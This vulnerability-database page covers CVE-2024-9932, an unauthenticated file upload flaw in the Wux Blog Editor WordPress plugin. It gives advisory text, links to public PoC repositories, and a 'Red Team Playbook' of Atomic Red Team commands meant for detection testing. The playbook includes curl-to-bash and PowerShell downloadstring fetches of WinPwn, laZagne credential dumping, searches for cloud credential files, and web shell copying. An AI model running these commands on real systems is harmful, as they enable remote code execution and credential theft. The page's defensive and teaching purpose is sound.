CVE-2024-9932
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the 'wuxbt_insertImageNew' function of the Wux Blog Editor WordPress plugin. The affected component is the image upload handling mechanism within the plugin, specifically in versions up to and including 3.0.0. The root cause lies in the failure to properly restrict or verify the file extensions or contents before accepting uploads, allowing malicious files to be uploaded to the server.
Vulnerability Description
The Wux Blog Editor plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'wuxbt_insertImageNew' function in versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files to the server hosting the WordPress site, potentially leading to remote code execution. This requires no prior authentication or user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation can result in full system compromise, data theft, or service disruption, severely impacting the confidentiality, integrity, and availability of the affected environment.
Solution
Users should upgrade the Wux Blog Editor WordPress plugin to a version later than 3.0.0 where the arbitrary file upload vulnerability is addressed. Detailed remediation instructions and patch information are available from Wordfence’s advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c2c0ab2d-1ba9-4a0a-b1fa-bacebe1034eb. Reviewing and applying the latest plugin updates from the official WordPress plugin repository is critical to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Wux Blog Editor plugin for WordPress arises from inadequate validation of file types during the image upload process. Specifically, the 'wuxbt_insertImageNew' function fails to enforce strict checks on the file types being uploaded. This oversight allows unauthenticated users to upload files that could be executable scripts or other malicious content, rather than just images. The lack of proper validation means that attackers can exploit this weakness to upload arbitrary files, potentially leading to remote code execution on the server hosting the WordPress site. This vulnerability is particularly critical given the high CVSS score of 9.8, indicating a severe risk to affected systems.
Attack vectors for exploiting this vulnerability are straightforward. An attacker can craft a request to the vulnerable function, bypassing any authentication mechanisms, and upload a malicious file disguised as a legitimate image. Once the file is uploaded, the attacker can execute it on the server, leading to a range of malicious activities, such as data exfiltration, website defacement, or even complete server takeover. Scenarios could include uploading a web shell that allows the attacker to execute commands remotely, manipulate databases, or gain access to sensitive information stored on the server. The simplicity of this attack makes it particularly appealing to threat actors, as it requires minimal technical skill and can be executed without any prior access to the system.
The real-world impact of this vulnerability can be profound, especially for businesses relying on WordPress for their online presence. Successful exploitation can lead to significant financial losses, reputational damage, and legal ramifications, particularly if sensitive customer data is compromised. For organizations that handle personal or financial information, the consequences could extend to regulatory penalties and loss of customer trust. Furthermore, the ease of exploitation means that even smaller businesses, which may not have robust cybersecurity measures in place, are at risk. The potential for widespread exploitation makes this vulnerability a critical concern for any organization using the affected plugin.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in plugins and themes. Keeping the Wux Blog Editor plugin updated to the latest version is essential, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of security. Organizations should also implement strict file type validation on their own, ensuring that only safe file types are permitted for upload. Monitoring server logs for unusual activity can help in early detection of exploitation attempts, allowing for timely response and remediation.
In conclusion, the vulnerability in the Wux Blog Editor plugin represents a significant threat to WordPress sites, with the potential for severe consequences if exploited. The combination of inadequate file type validation and the ability for unauthenticated users to upload files creates a perfect storm for attackers. Businesses must prioritize the implementation of robust security measures, including regular updates, monitoring, and proactive threat detection, to safeguard their systems against this and similar vulnerabilities. By adopting a comprehensive approach to cybersecurity, organizations can mitigate risks and protect their digital assets from malicious actors.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-9932
Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
|
RandomRobbieBF | 3 | 1 | 2024-11-05 | View |
|
JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-9932
Unauthenticated 0-click RCE exploit for CVE-2024-9932. Exploits an arbitrary file upload vulnerability in the Wux Blog E...
|
JoshuaProvoste | 2 | 0 | 2026-01-22 | View |
|
Nxploited/CVE-2024-9932-POC
|
Nxploited | 0 | 0 | 2025-01-11 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9932 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c2c0ab2d-1ba9-4a0a-b1fa-bacebe1034eb?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wux-blog-editor/tags/3.0.0/External_Post_Editor.php#L675 |
| github.com |
NVD API
|
https://github.com/JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-9932 |